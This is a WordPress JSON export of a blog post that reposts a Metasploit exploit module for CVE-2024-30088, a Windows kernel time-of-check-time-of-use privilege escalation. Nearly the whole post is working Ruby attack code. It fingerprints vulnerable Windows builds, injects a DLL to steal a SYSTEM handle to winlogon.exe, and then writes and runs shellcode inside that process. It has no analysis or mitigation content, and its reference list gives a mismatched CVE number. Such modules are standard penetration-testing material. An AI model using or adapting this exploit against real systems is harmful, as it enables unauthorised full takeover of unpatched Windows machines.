{"id":59747,"date":"2024-09-17T19:20:55","date_gmt":"2024-09-17T16:20:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181593\/cve_2024_30088_authz_basep.rb.txt"},"modified":"2024-09-17T19:20:55","modified_gmt":"2024-09-17T16:20:55","slug":"microsoft-windows-toctou-local-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/microsoft-windows-toctou-local-privilege-escalation\/","title":{"rendered":"Microsoft Windows TOCTOU Local Privilege Escalation"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Local<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Local::WindowsKernel<br \/>include Msf::Post::File<br \/>include Msf::Post::Windows::Priv<br \/>include Msf::Post::Windows::Process<br \/>include Msf::Post::Windows::ReflectiveDLLInjection<br \/>include Msf::Post::Windows::Version<br \/>include Msf::Exploit::Retry<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,<br \/>Windows 11 and Windows Server 2022.<\/p>\n<p>The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when<br \/>the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the<br \/>kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute&#8217;s structure<br \/>directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and<br \/>`AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading<br \/>to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;tykawaii98&#8217;, # PoC (B\u00f9i Quang Hi\u1ebfu)<br \/>&#8216;jheysel-r7&#8217; # msf module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/tykawaii98\/CVE-2024-30088&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-30038&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;SessionTypes&#8217; =&gt; [ &#8216;meterpreter&#8217; ],<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_X64 ],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Windows x64&#8217;, { &#8216;Arch&#8217; =&gt; ARCH_X64 } ]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-06-11&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, ],<br \/>&#8216;Reliability&#8217; =&gt; [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail.<br \/>}, # After the first run the original session will usually die if the module is rerun against the same session.<br \/>&#8216;Compat&#8217; =&gt; {<br \/>&#8216;Meterpreter&#8217; =&gt; {<br \/>&#8216;Commands&#8217; =&gt; %w[<br \/>stdapi_sys_process_get_processes<br \/>stdapi_railgun_api<br \/>stdapi_sys_process_memory_allocate<br \/>stdapi_sys_process_memory_protect<br \/>stdapi_sys_process_memory_read<br \/>stdapi_sys_process_memory_write<br \/>]}<br \/>}<br \/>)<br \/>)<br \/>end<\/p>\n<p>def target_compatible?(version)<br \/># NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected.<br \/>return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new(&#8216;10.0.10240.20680&#8217;)) ||<br \/>version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new(&#8216;10.0.14393.7070&#8217;)) ||<br \/>version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new(&#8216;10.0.17763.5936&#8217;)) ||<br \/>version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new(&#8216;10.0.19044.4529&#8217;)) ||<br \/>version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new(&#8216;10.0.19045.4529&#8217;)) ||<br \/>version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new(&#8216;10.0.22000.3019&#8217;)) ||<br \/>version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new(&#8216;10.0.22621.3737&#8217;)) ||<br \/>version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new(&#8216;10.0.22631.3737&#8217;)) ||<br \/>version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new(&#8216;10.0.20348.2522&#8217;)) ||<br \/>version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new(&#8216;10.0.25398.950&#8217;))<\/p>\n<p>false<br \/>end<\/p>\n<p>def check<br \/>return Exploit::CheckCode::Safe(&#8216;Non Windows systems are not affected&#8217;) unless session.platform == &#8216;windows&#8217;<\/p>\n<p>version = get_version_info<br \/>return Exploit::CheckCode::Appears(&#8220;Version detected: #{version}&#8221;) if target_compatible?(version)<\/p>\n<p>CheckCode::Safe(&#8220;Version detected: #{version}&#8221;)<br \/>end<\/p>\n<p>def get_winlogon_pid<br \/>processes = client.sys.process.get_processes<br \/>winlogon_pid = nil<br \/>processes.each do |process|<br \/>if process[&#8216;name&#8217;].downcase == &#8216;winlogon.exe&#8217;<br \/>winlogon_pid = process[&#8216;pid&#8217;]break<br \/>end<br \/>end<\/p>\n<p>winlogon_pid<br \/>end<\/p>\n<p>def get_winlogon_handle<br \/>pid = session.sys.process.getpid<br \/>process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)<br \/>address = process_handle.memory.allocate(8)<\/p>\n<p>thread = execute_dll(<br \/>::File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2024-30088&#8217;, &#8216;CVE-2024-30088.x64.dll&#8217;),<br \/>address,<br \/>pid<br \/>)<\/p>\n<p>calls = [<br \/>[&#8216;kernel32&#8217;, &#8216;WaitForSingleObject&#8217;, [ thread.handle, 20000 ] ],<br \/>[&#8216;kernel32&#8217;, &#8216;GetExitCodeThread&#8217;, [ thread.handle, 4 ] ],<br \/>]\n<p>results = session.railgun.multi(calls)<br \/>winlogon_handle = nil<\/p>\n<p>if results.last[&#8216;lpExitCode&#8217;] == 0<br \/>print_good(&#8216;The exploit was successful, reading SYSTEM token from memory&#8230;&#8217;)<br \/>current_memory = process_handle.memory.read(address, 8)<br \/>winlogon_handle = current_memory.unpack(&#8216;Q&lt;&#8216;).first<br \/>end<\/p>\n<p>session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)<br \/>winlogon_handle<br \/>end<\/p>\n<p>def exploit<br \/>if is_system?<br \/>fail_with(Failure::None, &#8216;Session is already elevated&#8217;)<br \/>end<\/p>\n<p>version = get_version_info<br \/>unless target_compatible?(version)<br \/>fail_with(Failure::NoTarget, &#8220;The exploit does not support this version of Windows: #{version}&#8221;)<br \/>end<\/p>\n<p>winlogon_handle = get_winlogon_handle<br \/>fail_with(Failure::UnexpectedReply, &#8216;Unable to retrieve the winlogon handle&#8217;) unless winlogon_handle<br \/>print_good(&#8220;Successfully stole winlogon handle: #{winlogon_handle}&#8221;)<\/p>\n<p>winlogon_pid = get_winlogon_pid<br \/>fail_with(Failure::UnexpectedReply, &#8216;Unable to retrieve the winlogon pid&#8217;) unless winlogon_pid<br \/>print_good(&#8220;Successfully retrieved winlogon pid: #{winlogon_pid}&#8221;)<\/p>\n<p>host = session.sys.process.new(winlogon_pid, winlogon_handle)<br \/>shellcode = payload.encoded<br \/>shell_addr = host.memory.allocate(shellcode.length)<br \/>host.memory.protect(shell_addr)<\/p>\n<p>if host.memory.write(shell_addr, shellcode) &lt; shellcode.length<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to write shellcode&#8217;)<br \/>end<\/p>\n<p>vprint_status(&#8220;Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})&#8221;)<br \/>thread = host.thread.create(shell_addr, 0)<br \/>unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)<br \/>fail_with(Failure::UnexpectedReply, &#8216;Unable to create thread&#8217;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::LocalRank = ExcellentRanking include Msf::Exploit::Local::WindowsKernelinclude Msf::Post::Fileinclude Msf::Post::Windows::Privinclude Msf::Post::Windows::Processinclude Msf::Post::Windows::ReflectiveDLLInjectioninclude Msf::Post::Windows::Versioninclude Msf::Exploit::Retryprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes&#8217;,&#8216;Description&#8217; =&gt; %q{CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59747","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59747","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59747"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59747\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59747"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59747"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59747"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}